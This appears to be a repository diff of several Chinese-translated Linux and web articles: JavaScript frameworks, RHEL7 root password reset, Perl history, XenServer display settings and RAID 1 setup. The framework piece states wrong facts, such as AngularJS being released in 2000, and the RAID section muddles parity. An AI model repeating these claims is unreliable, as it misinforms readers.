无论你是何时听说的 JavaScript很可能你早就听过 AngularJS因为这是在 JavaScript 社区中最为广泛使用的框架了。它发布于 2000 年,由 Google 开发 (这够有说服力让你是用了吧) ,它是一个开源项目,这意味着你可以阅读、编辑和修改其源代码以便更加符合自身的需求,并且不用向其开发者支付一分钱 (这不是很酷吗?)。
如果说你觉得通过纯粹的 JavaScript 代码编写一个复杂的 Web 应用比较困难的话,那么你肯定会兴奋的跳起来,因为它将显著地减轻你的编码负担。它符合支持双向数据绑定的 MVC (Modelviewcontroller模型-视图-控制) 设计典范。假如你不熟悉 MVC你只需要知道它代表着无论何时探测到某些变化它将自动更新前端 (比如,用户界面端) 和后端 (代码或者服务器端) 数据。
MVC 可为大大减少构建复杂应用程序所需的时间和精力,所有你只需要集中精力于一处即可 (DOM 编程接口会自动同步更新视图和模型)。由于 _视图组件__模型组件_ 是分离的,你可以很容易的创建一个可复用的组件,使得用户界面的效果非常好看。
如果因为某些原因,你已经使用了 **TypeScript** (一种与 JavaScript 非常相似的语言),那么你可以很容易就上手 AngularJS因为这两者的语法高度相似。与 **TypeScript** 相似这一特点在一定程度上提升了 AngularJS 的受欢迎程度。
目前Angular 2.0 已经发布,并且提升了移动端的性能,这也足以向一个新的开发者证明,该框架的开发活跃的够高并且定期更新。
AngularJS 有着大量的用户,包括 (但不限于) Udemy、Forbes、GoDaddy、Ford、NBA 和 Oscars。
对于那些想要一个高效的 MVC 框架,用来开发面面俱到、包含健壮且现代化的基础架构的单页应用的用户来说,我极力的推荐这个框架。这是第一个为无经验 JavaScript 开发者设计的框架。
### 2、React
![React](https://discoversdkcdn.azureedge.net/postscontent/react%20%281%29.png)
与 AngularJS 相似React 也是一个 MVC (Modelviewcontroller模型-视图-控制) 类型的框架,但不同的是,它完全针对于 _视图组件_ (因为它是为 UI 特别定制的) 并且可与任何架构进行无缝衔接。这意味着你可以马上将它运用到你的网站中去。
它从核心功能中抽象出 DOM 编程接口 (并且因此使用了虚拟 DOM),所以你可以快速的渲染 UI这使得你能够通过 _node.js_ 将它作为一个客户端框架来使用。它是由 Facebook 开发的开源项目,还有其它的开发者为它贡献代码。
假如说你见到过并喜欢 Facebook 和 Instagram 的界面,那么你将会爱上 React。通过 React你可以给你的应用的每个状态设计一个简单的视图当数据改变的时候视图也自动随之改变。只要你想的话可以创建各种的复杂 UI也可以在任何应用中复用它。在服务器端React 同样支持通过 _node.js_ 来进行渲染。对于其他的接口React 也一样表现得足够的灵活。
除 Facebook 和 Instagram 外,还有好多公司也在使用 React包括 Whatsapp、BBC、、PayPal、Netflix 和 Dropbox 等。
如果你只需要一个前端开发框架来构建一个非常复杂且界面极好的强大视图层,那我极力向你推荐这个框架,但你需要有足够的经验来处理各种类型的 JavaScript 代码,而且你再也不需要其他的组件了 (因为你可以自己集成它们)。
### 3、Ember
![Ember](https://discoversdkcdn.azureedge.net/postscontent/Ember.js_Logo_and_Mascot.png)
这个 JavaScript 框架在 2011 年正式发布,是由 _Yehuda Katz_ 开发的开源项目。它有一个庞大且活跃的在线社区,所有在有任何问题时,你都可以在社区中提问。该框架吸收融合了非常多的通用 JavaScript 风格和经验,以便确保开发者能最快的做到开箱即用。
它使用了 MVVM (Modelviewviewmodel模型-视图-视图模型) 的设计模式,这使得它与 MVC 有些不一样,因为它由一个 _连接器 (binder)_ 帮助视图和数据连接器进行通信。
对于 DOM 编程接口的快速服务端渲染,它借助了 _Fastboot.js_,这能够让那些复杂 UI 的性能得到极大提高。
它的现代化路由模式和模型引擎还支持 _RESTful API_这可以却确保你可以使用这种最新的技术。它支持句柄集成模板Handlebars integrated template用以自动更新数据。
早在 2015 年间,它的风头曾一度盖过 AngularJS 和 React被称为最好的 JavaScript 框架,对于它在 JavaScript 社区中的可用性和吸引力,这样的说服力该是足够了的。
对于不追求高灵活性和大型架构的用户,并且仅仅只是为了赶赴工期、完成任务的话,我个人非常推荐这个 JavaScript 框架,
### 4、Adonis
![Adonis](https://discoversdkcdn.azureedge.net/postscontent/products/adonis.jpg)
如果你曾使用过 _Laravel__NodeJS_,那么你在使用这一个框架之时会觉得相当顺手,因为它是集合了这两个平台的优点而形成的一个框架,对于任何种类的现代应用来说,它都显得非常专业、圆润和精致。
它使用了 _NodeJS_,所以是一个很好的后端框架,同时还附带有一些前端特性 (与前面提到那些更多地注重前端的框架不同),所以想要进入后端开发的新手开发者会发觉这个框架相当迷人。
相比于 _NoSQL_,很多的开发者都比价喜欢使用 _SQL_ 数据库 (因为他们需要增强和数据以及其它特性的交互性),这一现象在这个框架中得到了很好的体现,这时的它更接近标准,开发者也更容易使用。
如果你混迹于各类 PHP 社区,那你一定很熟悉 **服务提供商 (Service Providers)**,也由于 Adonis 相应的 PHP 风格包含其中,所以在使用它的时候,你会觉得似曾相识。
在它所有的特性中,最好的便是那个极为强大的路由引擎,支持使用函数来组织和管理应用的所有状态、支持错误处理机制、支持通过 SQL ORM 来进行数据库查询、支持生成器、支持箭头函数 (arrow functions)、支持代理等等。
如果喜欢使用无状态 REST API 来构建服务器端应用,我比较推荐它,因为你会爱上这个框架的。
### 5、Vue.js
![Vue.js](https://discoversdkcdn.azureedge.net/postscontent/products/vuejs-logo.png)
这一个开源的 JavaScript 框架,发布于 2014 年,它有个极为简单的 API用以为现代 Web 界面Modern Web Interface开发交互式组件 (Reactive components)。其设计着重于简单易用。与 Ember 相似,它使用的是 MVVM (Modelviewviewmodel模型-视图-视图模型) 设计范例,这样简化了设计。
这个框架最有吸引力的一点是,你可以根据自身需求来选择使用的模块。比如,你需要编写简单的 HTML 代码,抓取 JSON然后创建一个 Vue 实例来完成可以复用的小特效。
与之前的那些 JavaScript 框架相似,它使用双路数据绑定来更新模型和视图,同时也使用连接器来完成视图和数据连接器的通信。这是一个还未完全成熟的框架,因为它全部的关注点都在视图层,所以你需要自己处理其它的组件。
如果你熟悉 _AngularJS_,那你会感觉很顺手,因为它大量嵌入了 _AngularJS_ 的架构,如果你懂得 JavaScript 的基础用法,那你的许多项目都可以轻易地迁移到该框架之下。
假如你只想把任务完成,或者想提升你自身的 JavaScript 编程经验,又或者你需要学习不同的 JavAScript 框架的本质,我极力推荐这个。
### 6、Backbone.js
![Backbone.JS](https://discoversdkcdn.azureedge.net/postscontent/products/backbonejs.png)
这个框架可以很容易的集成到任何第三方的模板引擎,默认使用的是 _Underscore_ 模板引擎,而且该框架仅有一个依赖 (**JQuery**),因此它以轻量而闻名。它支持带有 **RESTful JSON** 接口的 MVC (Modelviewcontroller模型-视图-控制) (可以自动更新前端和后端) 设计范例。
假如你曾经使用过著名的社交新闻网络服务 **reddit**,那么你肯定听说过它在几个单页面应用中使用了 **Backbone.js**。**Backbone.js** 的原作者为之建立了与 _CoffeScript_ 旗鼓相当的 _Underscore_ 模板引擎,所以你可以放心,开发者知道该做什么。
该框架在一个软件包中提供了键值对 (key-value) 模型、视图以及几个打包的模块,所以你不需要额外下载其他的外部包,这样可以节省不少时间。框架的源码可以在 GitHub 进行查看,这意味着你可以根据需求进行深度定制。
如果你是寻找一个入门级框架来快速构建一个单页面应用,那么这个框架非常适合你。
### 总而言之
至此,我已经在本文着重说明了 6 个值得好好学习的 JavaScript 框架,希望你读完本文后能够决定使用哪个框架来完成自己的任务。
如果说对于选择框架,你还是不知所措,请记住,这个世界是实践出真知而非教条主义的。最好就是从列表中挑选一个来使用,看看最后是否满足你的需求和兴趣,如果还是不行,接着试试另一个。你也尽管放心好了,列表中的框架肯定是足够了的。
-------------------------------
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
-------------------------------
via: http://www.discoversdk.com/blog/6-best-javascript-frameworks-to-learn-in-2016
作者:[Danyal Zia][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.discoversdk.com/blog/6-best-javascript-frameworks-to-learn-in-2016

View File

@ -0,0 +1,85 @@
如何重置 RHEL7/CentOS7 系统的密码
=================
### 介绍
**目的**
在 RHEL7/CentOS7/Scientific Linux 7 中重设 root 密码。
**要求**
RHEL7 / CentOS7 / Scientific Linux 7
**困难程度**
中等
### 指导
RHEL7 的世界发生了变化,重置 root 密码的方式也一样。虽然中断引导过程的旧方法init=/bin/bash仍然有效但它不再是推荐的。“Systemd” 使用 “rd.break” 来中断引导。让我们快速浏览下整个过程。 
**启动进入最小模式**
重启系统并在内核列表页面在系统启动之前按下 `e`。你会进入编辑模式。
**中断启动进程**
在内核字符串中 - 在以 `linux 16 /vmlinuz- ect` 结尾的行中输入 `rd.break`。接着 `Ctrl+X` 重启。系统启动进入初始化内存磁盘,并挂载在 `/sysroot`。在此模式中你不需要输入密码。
**重新挂载文件系统以便读写**
```
switch_root:/# mount -o remount,rw /sysroot/
```
**使 /sysroot 成为根目录**
```
switch_root:/# chroot /sysroot
```
命令行提示符会稍微改变。
**修改 root 密码**
```
sh-4.2# passwd
```
**加载 SELinux 策略**
```
sh-4.2# load_policy -i
```
**在 /etc/shadow 中设置上下文类型**
```
sh-4.2# chcon -t shadow_t /etc/shadow
```
注意:你可以通过如下创建 `autorelabel` 文件的方式来略过最后两步,但自动重建卷标会花费很长时间。
```
sh-4.2# touch /.autorelabel
```
因为这个原因,尽管它更简单,它应该作为“懒人选择”,而不是建议。
**退出并重启**
退出并重启并用新的 root 密码登录。
--------------------------------------------------------------------------------
via: https://linuxconfig.org/how-to-reset-the-root-password-in-rhel7-centos7-scientific-linux-7-based-systems
作者:[Rado Folwarczny][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/how-to-reset-the-root-password-in-rhel7-centos7-scientific-linux-7-based-systems

View File

@ -0,0 +1,90 @@
Perl 与动态网站的诞生
==================
> 在新闻组和邮件列表里、在计算机科学实验室里、在各大陆之间,流传着一个神秘的故事,那是关于 Perl 与动态网站之间的不得不说的往事。
![Perl and the birth of the dynamic web](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/osdc-lead-web-internet.png?itok=hq81pSDs "Perl and the birth of the dynamic web")
>图片来源 : [Internet Archive Book Images][30], 由 Opensource.com 修改. [CC BY-SA 4.0][29].
早期互联网历史中,有一些脍炙人口的开创性事件:如 蒂姆·伯纳斯·李Tim Berners-Lee在邮件组上[宣布][28] WWW-project 的那天,该文档随同 [CERN][27] 发布的项目代码进入到了公共域,以及 1993 年 1 月的[第一版 NCSA Mosaic 浏览器][26]。虽然这些独立的事件是相当重要的,但是当时的技术的开发已经更为丰富,不再是由一组的孤立事件组成,而更像是一系列有内在联系的故事。
这其中的一个故事描述的是网站是如何变成_动态的_通俗说来就是我们如何使服务器除了提供静态 HTML 文档之外做更多的事。这是个流传在[新闻组][25]和邮件列表间、计算机科学实验室里、各个大陆之间的故事重点不是一个人而是一种编程语言Perl。
### CGI 脚本和信息软件
在上世纪 90 年代中后期Perl 几乎和动态网站是同义词。Perl 是一种相对来说容易学习的解释型语言,并且有强大的文本处理特性,使得它能够很容易的编写脚本来把一个网站关联到数据库、处理由用户发送的表单数据,当然,还要创造那些上世纪 90 年代的网站的经典形象——计数器和留言簿。
类似的网站特性渐渐的变成了 CGI 脚本的形式其全称为通用网关接口Common Gateway Interface[首个实现][24]由 Rob McCool 于 1993 年 11 月在 NCSA HTTPD 上完成。CGI 是目的是直面功能,并且在短短几年间,任何人都可以很容易的找到一些由 Perl 写的预制的脚本存档。有一个声名狼籍的案例就是 [Matt's Scripts Archive][23],这是一种流行却包含各种安全缺陷的源代码库,它甚至使得 Perl 社区成员创建了一种被称为 [Not Matts Scripts][22] 的更为专业的替换选择。
在当时,无论是业余爱好者,还是职业程序员都采用 Perl 来制作动态网站和应用Tim OReilly [创造了词汇“信息软件infoware”][21] 来描述网站和 Perl 怎样成为变化中的计算机工业的一部分。考虑到 Yahoo和 Amazon 带来的创新OReilly 写道:“传统软件在大量的软件中仅仅包含了少量的信息;而信息软件则在少量的软件中包含了大量的信息。” Perl 是一种像瑞士军刀一样的完美的小而强大的工具它支撑了信息媒体从巨大的网站目录向早期的用户生成内容UGC平台的转变。
### 题外话
尽管使用 Perl 来制作 CGI 简直是上佳之选,但是编程语言和不断提升中的动态网站之间的关系变得更加的密切与深入。从[第一个网站][20](在 1990 年的圣诞节前)出现到 1993 年 McCool 实现 CGI 的短暂时期内Web 上的各种东西,比如表单、图片以及表格,就这么逐渐出现在上世纪 90 年代乃至后来。尽管伯纳斯·李也对这些早期的岁月产生了影响,但是不同的人看到的是 Web 不同的潜在作用,并将它推向各自不同的方向。一方面,这样的结果来自一些著名的辩论,例如 [HTML 应该和 SGML 保持多近的关系][19]、[是否应该实现一个图像标签][18]等等。在另一方面,在没有直接因素影响的情况下改变是极其缓慢的。后者已经很好的描述了动态网站是如何发展的。
从某种意义上说,第一个“网关”的诞生可以追溯到 1991 至 1992 年之间LCTT 译注:此处所谓“网关”的意义请参照 CGI 的定义),当时伯纳斯·李和一些计算机科学家与超文本爱好者[编写服务程序][17]使得一些特定的资源能够连接到一起,例如 CERN 的内部应用程序、通用的应用程序如 Oracle 数据库、[广域信息查询系统WAIS][16] 等等。WAIS 是 Web 的前身,上世纪 80 年代后期开发,其中,开发者之一 [Brewster Kahle][15],是一个数字化图书管理员和 [Internet Archive][14] 的创始人。)可以这样理解,“网关”就是一个被设计用来连接其它 Web、数据库或者应用程序的定制的 Web 服务器。任何的动态功能就意味着在不同的端口上运行另外一个守护进程(参考阅读,例如伯纳斯·李对于在网站上[如何添加一个搜索功能][13] 的描述)。伯纳斯·李期望 Web 可以成为不同信息系统之间的通用接口,并且鼓励建立单一用途服务。他也提到 Perl 是一种强大的(甚至是不可思议)、可以将各种东西组合起来的语言。
然而,另一种对“网关”的理解指出它不一定是一个定制设备,可能只是一个脚本,一个并不需要额外服务器的低吞吐量的附加脚本。这种形式的首次出现是有争议性的 Jim Davis 的 [Gateway to the U Mich Geography server][11],于 1992 年的 11 月发布在了 WWW-talk 邮件列表中。Davis 的脚本是使用 Perl 编写的,是一种 Web API 的原型,基于格式化的用户查询从另外的服务器拉取数据。我们来说明一下这两种对于网关的理解的不同之处,伯纳斯·李[回复了][10] Davis 的邮件,期望他和 Michigan 服务器的作者“能够达成某种共识”,“从网络的角度来看的话”仅使用一台服务器来提供这样的信息可能会更有意义。伯纳斯·李,可能是期待着 Web 的发明者可以提出一种有秩序的信息资源访问方式。这样从不同服务器上拉取数据的网关和脚本意味着一种潜在的 Web 的质的变化,虽然不断增多,但也可能有点偏离了伯纳斯·李的原始观点。
### 回到 Perl HTTPD
在 Davis 的地理服务器上的网关向标准化的、低吞吐量的、通过 CGI 方式实现的脚本化网关迈进的一步中,[Perl HTTPD][9] 的出现是很重要的事件,它是 1993 年初由印地安纳大学的研究生 Marc Van Heyningen 在布卢明顿Bloomington完全使用 Perl 语言实现的一个 Web 服务器程序。从 Van Heyningen 给出的[设计原则][8]来看,基于使用 Perl 就不需要任何的编译过程这样一种事实,使得它能够成为一种极易扩展的服务器程序,这个服务器包含了“一个向代码中增加新特性时只要简单的重启一下就可以,而不会有任何的宕机时间的特性”,使得这个服务器程序可以频繁的加入新功能。
Perl HTTPD 代表了那种服务器程序应该是单一、特定目的的观点。相应的,这种模式似乎暗示了在 Web 开发中像这样渐进式的、持续测试的软件产品可能会最终变成一种共识。Van Heyningen 在后来[提到过][7]他从头编写这样一个服务器程序的初衷是当时没有一种简便的方式使用 CERN 服务器程序来生成“虚拟文档”(例如,动态生成的页面),他打趣说使用 Perl 这样的“神之语言”来写可能是最简单的方式了。在他初期编写的众多脚本中有一个 Sun 操作系统的用户手册的 Web 界面,以及 [Finger 网关][6](这是一种早期用来共享计算机系统信息或者是用户信息的协议)。
虽然 Van Heyningen 将印地安纳大学的服务器主要用来连接现存的信息资源,他和研究生们同时也看见了作为个人发布形式的潜在可能。其中一件广为人知事件是在 1993-1994 年之间围绕着一个著名的加拿大案件而[公布][5]的一系列的文件、照片和新闻故事,与此形成鲜明对比的是,所有的全国性媒体都保持了沉默。
Perl HTTPD 没有坚持到现在的需要。今天Van Heyningen 回忆起这个程序的时候认为这个程序只是当时的一个原型产品。它的原始目的只是向那些已经选择了 Gopher 作为大学的网络界面的资深教员们展示了网络的另一种利用方式。Van Heyningen 以[一种基于 Web 的、可搜索的出版物索引][4]的方式,用代码回应了他的导师们的虚荣。就是说,在服务器程序技术方面关键创新是为了赢得争论的胜利而诞生的,在这个角度上来看代码做到了所有要求它所做的事。
不管该服务器程序的生命是否短暂,伴随者 Perl HTTPD 一起出现的理念已经传播到了各个角落。Van Heyningen 开始收到了获取该代码的请求,而后将它分享到了网上,并提示说,需要了解一些 Perl 就可以将它移植到其它操作系统或者找到一个这样的人也行。不久之后居住在奥斯汀Austin的程序员 Tony Sanders 开发了一个被称为 [Plexus][3] 的轻便版本。Sander 的服务器程序是一款全功能的产品,并且同样包含了 Perl HTTPD 所建议的易扩展性而且添加一些新的特性如图片解码等。Plexus [直接影响了][2] Rob McCool 给 NCSA HTTPD 服务器上的脚本开发的“htbin”并且同样影响到了不久之后诞生的通用网关接口CGI
在这些历史遗产之外,感谢妙不可言的 Internet Archive互联网时光机使得 Perl HTTPD 在今天依然保留在一种我们依然可以获取的形式,你可以从[这里下载 tarball][1]。
### 历史展望
对于技术世界的颠覆来说,技术的改变总是在一个相互对立的过程中。现有的技术是思考新技术的基础与起点。过时的编程形式启迪了今天人们做事的新方式。网络世界的创新可能看起来更像是对于旧技术的扩展,不仅仅是 Perl。
在萌芽事件的简单的时间轴之外Web 历史学者也许可以从 Perl 获取更多的线索。其中一部份的挑战在于材料的获取。更多需要做的事情包括从可获取的大量杂乱的数据中梳理出它的结构,将分散在邮件列表、归档网站,书本和杂志中的信息内容组合在一起。还有一部分的挑战是需要认识到 Web 的历史不仅仅是新技术发布的日子,它同时包括了个人记忆、人类情感与社会进程等,并且这不仅仅是单一的历史线而是有许许多多条相似的历史线组合而成的。就如 Perl 的信条一样“殊途同归。There's More Than One Way To Do It.)”
--------------------------------------------------------------------------------
via: https://opensource.com/life/16/11/perl-and-birth-dynamic-web
作者:[Michael Stevenson][a]
译者:[wcnnbdk1](https://github.com/wcnnbdk1)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/mstevenson
[1]:https://web.archive.org/web/20011126190051/http://www.cs.indiana.edu/perl-server/httpd.pl.tar.Z
[2]:http://1997.webhistory.org/www.lists/www-talk.1993q4/0516.html
[3]:https://web.archive.org/web/19990421192342/http://www.earth.com/server/doc/plexus.html
[4]:https://web.archive.org/web/19990428030253/http://www.cs.indiana.edu:800/cstr/search
[5]:https://web.archive.org/web/19970720205155/http://www.cs.indiana.edu/canada/karla.html
[6]:https://web.archive.org/web/19990429014629/http://www.cs.indiana.edu:800/finger/gateway
[7]:https://web.archive.org/web/19980122184328/http://www.cs.indiana.edu/perl-server/history.html
[8]:https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/intro.html
[9]:https://web.archive.org/web/19970720025822/http://www.cs.indiana.edu/perl-server/code.html
[10]:https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0069.html
[11]:https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0060.html
[12]:http://info.cern.ch/hypertext/WWW/Provider/ShellScript.html
[13]:http://1997.webhistory.org/www.lists/www-talk.1993q1/0109.html
[14]:https://archive.org/index.php
[15]:http://brewster.kahle.org/about/
[16]:https://en.wikipedia.org/wiki/Wide_area_information_server
[17]:http://info.cern.ch/hypertext/WWW/Daemon/Overview.html
[18]:http://1997.webhistory.org/www.lists/www-talk.1993q1/0182.html
[19]:http://1997.webhistory.org/www.lists/www-talk.1993q1/0096.html
[20]:http://info.cern.ch/hypertext/WWW/TheProject.html
[21]:https://web.archive.org/web/20000815230603/http://www.edventure.com/release1/1198.html
[22]:http://nms-cgi.sourceforge.net/
[23]:https://web.archive.org/web/19980709151514/http://scriptarchive.com/
[24]:http://1997.webhistory.org/www.lists/www-talk.1993q4/0518.html
[25]:https://en.wikipedia.org/wiki/Usenet_newsgroup
[26]:http://1997.webhistory.org/www.lists/www-talk.1993q1/0099.html
[27]:https://tenyears-www.web.cern.ch/tenyears-www/
[28]:https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/bJGhZyooXzkJ
[29]:https://creativecommons.org/licenses/by-sa/4.0/
[30]:https://www.flickr.com/photos/internetarchivebookimages/14591826409/in/photolist-oeqVBX-xezHCD-otJDtG-whb6Qz-tohe9q-tCxH8y-xq4VfN-otJFfh-xEmn3b-tERUdv-oucUgd-wKDyLy-owgebW-xd6Wew-xGEvuT-toqHkP-oegBCj-xtDdzN-tF19ip-xGFbWP-xcQMJq-wxrrkN-tEYczi-tEYvCn-tohQuy-tEzFwN-xHikPT-oetG8V-toiGvh-wKEgAu-xut1qp-toh7PG-xezovR-oegRMa-wKN2eg-oegSRp-sJ29GF-oeqXLV-oeJTBY-ovLF3X-oeh2iJ-xcQBWs-oepQoy-ow4xoo-xknjyD-ovunVZ-togQaj-tEytff-xEkSLS-xtD8G1

View File

@ -0,0 +1,99 @@
如何在 XenServer 7 GUI 虚拟机VM上提高屏幕分辨率
============
### 介绍
**目的**
如果你想要将 XenServer 虚拟机作为远程桌面,默认的分辨率可能不能满足你的要求。
![Default xenserver screen VM resolution](https://linuxconfig.org/images/xenserver-7-default-screen-resolution.png)
本篇的目标是提高 XenServer 7 GUI 虚拟机VM的屏幕分辨率
**要求**
访问 XenServer 7 系统的权限
**难易性**
简单
**惯例**
* `#` - 给定命令需要作为 root 用户权限运行或者使用 `sudo` 命令
* `$` - 给定命令作为常规权限用户运行
### 指导
**获得 VM UUID**
首先,我们需要获得想要提升分辨率的虚拟机的 UUID。
```
# xe vm-list
uuid ( RO) : 09a3d0d3-f16c-b215-9460-50dde9123891
name-label ( RW): CentOS 7
power-state ( RO): running
```
提示:如果你将此 UUID 保存为 shell 变量会节省一些时间:
```
# UUID=09a3d0d3-f16c-b215-9460-50dde9123891
```
**关闭 VM**
优雅地关闭 VM 或使用 `xe vm-vm-shutdown` 命令:
```
# xe vm-shutdown uuid=$UUID
```
**更新 VGA 的 VIDEORAM 设置**
检查你目前的 VGA 的 VIDEORAM 参数设置:
```
# xe vm-param-get uuid=$UUID param-name="platform" param-key=vga
std
# xe vm-param-get uuid=$UUID param-name="platform" param-key=videoram
8
```
要提升屏幕的分辨率,将 VGA 更新到 `std` (如果已经设置过,就不需要做什么),并将 `videoram` 调大几兆,如设置成 16
```
# xe vm-param-set uuid=$UUID platform:vga=std
# xe vm-param-set uuid=$UUID platform:videoram=16
```
**启动 VM**
```
# xe vm-start uuid=$UUID
```
![increased xenserver screen VM resolution](https://linuxconfig.org/images/xenserver-7-increased-screen-resolution.png)
--------------------------------------------------------------------------------
via: https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm
作者:[Lubos Rendek][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm
[1]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h5-1-obtain-vm-uuid
[2]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h5-2-shutdown-vm
[3]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h5-3-update-vga-a-videoram-settings
[4]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h5-4-start-vm
[5]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h1-objective
[6]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h2-requirements
[7]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h3-difficulty
[8]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h4-conventions
[9]:https://linuxconfig.org/how-to-increase-screen-resolution-on-xenserver-7-gui-virtual-machine-vm#h5-instructions

View File

@ -0,0 +1,82 @@
如何在 RHEL 上设置 Linux RAID 1
============================================================
### 设置 Linux RAID 1
配置 LINUX RAID 1 非常重要,因为它提供了冗余性。
RAID 分区拥有高级功能,如冗余和更好的性能。所以让我们来说下如何实现 RAID以及让我们来看看不同类型的 RAID
- RAID 0条带磁盘组合在一起形成一个更大的驱动器。这以可用性为代价提供了更好的性能。如果 RAID 中的任何一块磁盘出现故障,则整个磁盘集将无法使用。最少需要两块磁盘。
- RAID 1镜像磁盘从一个复制到另一个提供了冗余。如果一块磁盘发生故障则另一块磁盘接管它有另外一份原始磁盘的数据的完整副本。其缺点是写入时间慢。最少需要两块磁盘。
- RAID 5带奇偶校验的条带磁盘类似于 RAID 0并且连接在一起以形成一个大型驱动器。这里的区别是25 的磁盘用于奇偶校验位,这允许在单个磁盘发生故障时可以恢复磁盘。最少需要三块盘。
让我们继续进行 Linux RAID 1 配置。
安装 Linux RAID 1 的要求:
1、系统中应该安装了 mdam请用下面的命令确认。
```
[root@rhel1 ~]# rpm -qa | grep -i mdadm
mdadm-3.2.2-9.el6.x86_64
[root@rhel1 ~]#
```
2、 系统应该连接了 2 块磁盘。
创建两个分区一个磁盘一个分区sdc、sdd每个分区占据整块磁盘。
```
Disk /dev/sdc: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x67cc8cfb
Device Boot Start End Blocks Id System
/dev/sdc1 1 130 1044193+ 83 Linux
Disk /dev/sdd: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0294382b
Device Boot Start End Blocks Id System
/dev/sdd1 1 130 1044193+ 83 Linux
```
--------------------------------------------------------------------------------
作者简介:
大家好!我是 Manmohan Mirkar。我很高兴见到你们我在 10 多年前开始使用 Linux我从来没有想过我会到今天这个地步。我的激情是帮助你们获取 Linux 知识。谢谢阅读!
--------------------------------------------------------------------------------
via: http://www.linuxroutes.com/linux-raid-1/
作者:[Manmohan Mirkar][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.linuxroutes.com/author/admin/
[1]:http://www.linuxroutes.com/linux-raid-1/#
[2]:http://www.linuxroutes.com/linux-raid-1/#
[3]:http://www.linuxroutes.com/linux-raid-1/#
[4]:http://www.linuxroutes.com/linux-raid-1/#
[5]:http://www.linuxroutes.com/linux-raid-1/#
[6]:http://www.linuxroutes.com/linux-raid-1/#
[7]:http://www.linuxroutes.com/linux-raid-1/#
[8]:http://www.linuxroutes.com/linux-raid-1/#
[9]:http://www.linuxroutes.com/linux-raid-1/#
[10]:http://www.linuxroutes.com/linux-raid-1/#
[11]:http://www.linuxroutes.com/linux-raid-1/#
[12]:http://www.linuxroutes.com/author/admin/
[13]:http://www.linuxroutes.com/linux-raid-1/#respond

View File

@ -0,0 +1,183 @@
2016 年十大顶级开源项目
============================================================
> 在我们今年的年度顶级开源项目列表中,让我们回顾一下作者们提到的几个 2016 年受欢迎的项目,以及社区管理员选出的钟爱项目。
![Top 10 open source projects of 2016](https://opensource.com/sites/default/files/styles/image-full-size/public/images/law/bowling-10-ten-520_cc.png?itok=Jd1FYLWt "Top 10 open source projects of 2016")
图片来自:[George Eastman House][1] 和 [Internet Archive Book Images][2] 。修改自 Opensource.com. CC BY-SA 4.0
我们持续关注每年新出现的、成长、改变和发展的优秀开源项目。挑选 10 个开源项目到我们的年度顶级项目列表中并不太容易,而且,也没有哪个如此短的列表能够包含每一个应该包含在内的项目。
为了挑选 10 个顶级开源项目,我们回顾了作者们 2016 年涉及到的流行的开源项目,同时也从社区管理员收集了一些意见。经过管理员的一番推荐和投票之后,我们的编辑团队选定了最终的列表。
它们就在这儿, 2016 年 10 个顶级开源项目:
### Atom
[Atom][3] 是一个来自 GitHub 的可魔改的hackable文本编辑器。Jono Bacon 在今年的早些时候为它的“简单核心”[写了一篇文章][4],对该开源项目所给用户带来的选择而大加赞赏。
“[Atom][3] 带来了大多数用户想要的主要核心特性和设置但是缺失了一些用户可能想要的更加高级或独特的特性。……Atom 提供了一个强大的框架,从而允许它的许多部分都可以被改变或扩展。”
如果打算开始使用 Atom 请先阅读[这篇指南][5]。如果想加入到用户社区,你可以在 [GitHub][6]、[Discuss][7] 和 [Slack][8] 上找到 Atom 。
Atom 是 [MIT][9] 许可的,它的[源代码][10]托管在 GitHub 上。
### Eclipse Che
